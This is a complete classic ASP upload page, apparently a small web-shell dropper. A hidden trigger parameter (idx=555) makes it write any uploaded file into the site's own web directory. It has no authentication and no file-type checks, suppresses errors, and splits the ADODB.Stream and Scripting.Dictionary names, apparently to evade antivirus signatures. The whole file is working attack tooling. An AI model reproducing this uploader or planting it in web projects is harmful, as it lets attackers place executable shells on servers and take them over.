<%
Dim Url
Url = Request.ServerVariables("SCRIPT_NAME")
UrlPath = Left(Url,InstrRev(Url,"/"))
Dim oUpFileStream
Class UpFile_Class
Dim Form,File,Version,Err 
Private Sub Class_Terminate  
  If Err < 0 Then
    Form.RemoveAll
    Set Form = Nothing
    File.RemoveAll
    Set File = Nothing
    oUpFileStream.Close
    Set oUpFileStream = Nothing
  End If
End Sub
   
Public Sub GetData ()
  Dim RequestBinDate,sSpace,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,oFileInfo
  Dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
  Dim iFindStart,iFindEnd
  Dim iFormStart,iFormEnd,sFormName
  Set Form = Server.CreateObject ("Scr"&"ipt"&"ing.Di"&"ctionary")
  Form.CompareMode = 1
  Set File = Server.CreateObject ("Scr"&"ipt"&"ing.Di"&"ctionary")
  File.CompareMode = 1
  Set tStream = Server.CreateObject ("ADOD"&"B.Stream")
  Set oUpFileStream = Server.CreateObject ("AD"&"ODB.Stream")
  oUpFileStream.Type = 1
  oUpFileStream.Mode = 3
  oUpFileStream.Open 
  oUpFileStream.Write Request.BinaryRead (Request.TotalBytes)
  oUpFileStream.Position = 0
  RequestBinDate = oUpFileStream.Read
  iFormEnd = oUpFileStream.Size
  bCrLf = ChrB (13) & ChrB (10)
  sSpace = MidB (RequestBinDate,1, InStrB (1,RequestBinDate,bCrLf)-1)
  iStart = LenB  (sSpace)
  iFormStart = iStart+2
  Do
    iInfoEnd = InStrB (iFormStart,RequestBinDate,bCrLf & bCrLf)+3  
    tStream.Type = 1
    tStream.Mode = 3
    tStream.Open
    oUpFileStream.Position = iFormStart
    oUpFileStream.CopyTo tStream,iInfoEnd-iFormStart
    tStream.Position = 0
    tStream.Type = 2
    tStream.CharSet = "gb2312"
    sInfo = tStream.ReadText    
    iFormStart = InStrB (iInfoEnd,RequestBinDate,sSpace)-1
    iFindStart = InStr (22,sInfo,"name=""",1)+6
    iFindEnd = InStr (iFindStart,sInfo,"""",1)
    sFormName = Mid  (sinfo,iFindStart,iFindEnd-iFindStart)
    If InStr  (45,sInfo,"filename=""",1) > 0 Then
	    Set oFileInfo = new FileInfo_Class
		iFindStart = InStr (iFindEnd,sInfo,"filename=""",1)+10
		iFindEnd = InStr (iFindStart,sInfo,"""",1)
		sFileName = Mid  (sinfo,iFindStart,iFindEnd-iFindStart)
		oFileInfo.FileName = Mid (sFileName,InStrRev (sFileName, "\")+1)
		oFileInfo.FilePath = Left (sFileName,InStrRev (sFileName, "\"))
		oFileInfo.FileExt = Mid (sFileName,InStrRev (sFileName, ".")+1)
		iFindStart = InStr (iFindEnd,sInfo,"Content-Type: ",1)+14
		iFindEnd = InStr (iFindStart,sInfo,vbCr)
		oFileInfo.FileType = Mid  (sinfo,iFindStart,iFindEnd-iFindStart)
		oFileInfo.FileStart = iInfoEnd
		oFileInfo.FileSize = iFormStart -iInfoEnd -2
		oFileInfo.FormName = sFormName
		file.add sFormName,oFileInfo
	Else
	    tStream.Close
		tStream.Type = 1
		tStream.Mode = 3
		tStream.Open
		oUpFileStream.Position = iInfoEnd
		oUpFileStream.CopyTo tStream,iFormStart-iInfoEnd-2
		tStream.Position = 0
		tStream.Type = 2
		tStream.CharSet = "gb2312"
		sFormValue = tStream.ReadText
		If Form.Exists (sFormName) Then
		    Form (sFormName) = Form (sFormName) & ", " & sFormValue
		Else
		    Form.Add sFormName,sFormValue
		End If
    End If
    tStream.Close
    iFormStart = iFormStart+iStart+2
  Loop Until  (iFormStart+2) = iFormEnd 
  RequestBinDate = ""
  Set tStream = Nothing
End Sub
End Class
Class FileInfo_Class
Dim FormName,FileName,FilePath,FileSize,FileType,FileStart,FileExt
Public Function SaveToFile (Path)
  On Error Resume Next
  Dim oFileStream
  Set oFileStream = CreateObject ("ADO"&"DB.Stream")
  oFileStream.Type = 1
  oFileStream.Mode = 3
  oFileStream.Open
  oUpFileStream.Position = FileStart
  oUpFileStream.CopyTo oFileStream,FileSize
  oFileStream.SaveToFile Path,2
  oFileStream.Close
  Set oFileStream = Nothing 
End Function
 
Public Function FileDate
  oUpFileStream.Position = FileStart
  FileDate = oUpFileStream.Read (FileSize)
End Function
End Class
Sub UpLoadSave()
    Server.ScriptTimeOut=3000
	Dim UpLoad,FormPath,Up_Str:Up_Str = ""
	Set UpLoad = New UpFile_Class
	UpLoad.GetData()
	FormPath = Server.MapPath(".") & "\"
	If FormPath = "" Then
	    Message "Upload failure","<LI>dir to upload dos not input",1
		Response.End
	End If
	FileCount = 0
	For Each FormName in UpLoad.file
	    Set File = UpLoad.file(FormName)
		If File.FileSize > 0 Then
		    File.SaveToFile FormPath & File.FileName
			If err then
			    err.Clear
				Up_Str = Up_Str & "<LI>File:" & File.FilePath & File.FileName & "Upload failure,the dir not exist or dir cannot to write"
			Else
			    Up_Str = Up_Str & "<LI>Local File:<FONT color=#ff2222>" & File.FilePath & File.FileName & "(" & File.FileSize & ")</FONT>Already upload to server<FONT color=#ff2222>" & FormPath & File.FileName & "</FONT>"
				FileCount = FileCount+1
			End if
		End if
		Set File = Nothing
	Next
	Up_Str = Up_Str & "<B><LI>Upload finished" & FileCount & "file(s) already upload to server</B>"

	Set UpLoad = Nothing
	Response.Write "GOOD"
	Response.End	
End Sub

If Request("idx") = "555" Then
    UpLoadSave
End if
%>
<FORM Action=<%=Url%>?idx=555 method=Post enctype=multipart/form-data>
<INPUT type=file name=file></TD>
<INPUT type=submit value="Begin Upload">
</FORM>